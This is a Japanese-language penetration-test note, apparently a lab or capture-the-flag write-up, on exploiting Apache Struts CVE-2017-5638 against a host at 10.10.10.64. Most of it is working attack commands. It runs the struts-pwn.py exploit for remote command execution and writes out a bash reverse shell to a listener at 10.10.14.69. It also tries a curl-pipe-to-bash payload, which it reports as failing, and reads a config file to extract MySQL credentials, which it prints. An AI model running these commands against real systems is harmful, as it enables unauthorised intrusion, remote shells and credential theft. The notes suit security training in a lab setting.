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# Apache Struts
Apache Struts CVE-2017-5638 RCEの攻略、コマンド実行、リバースシェル試行、認証情報抽出のノート。
## Apache Struts の悪用（CVE-2017-5638）
#### **ディレクトリ列挙の監視**
登録中に、アプリケーションはエラーを返します。 `.action` この拡張子はApache Strutsアプリケーションを示唆します。
{% embed url="" %}
使用する `struts-pwn.py` リモートコマンド実行をテストするために:
```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id'
```
コマンドは動作し、脆弱性が確認されます。
#### **リバースシェル**
1. Netcatのリスナーを起動します:
```bash
nc -nvlp 443
```
2. 以下を作成: `index.html` リバースシェルを含むファイル:
```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.69/443 0>&1
```
3. PythonのWebサーバーでそのファイルをホストします:
```
python3 -m http.server 8080
```
4. エクスプロイト経由でリバースシェルを実行します:
{% code overflow="wrap" %}
```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash'
```
{% endcode %}
残念ながら、この方法は失敗する。
### **機密情報の抽出**
サーバー上のファイルを一覧表示します:
その `db_connect` ファイルには認証情報が含まれています:
{% code overflow="wrap" %}
```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l'
```
{% endcode %}
取得したMySQLの認証情報:
{% code overflow="wrap" %}
```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect'
```
{% endcode %}
* user: ssn/\_admin / admin
* pass=AWs64\@on/\*& / admin
### 情報抽出 - mysqlshow
---
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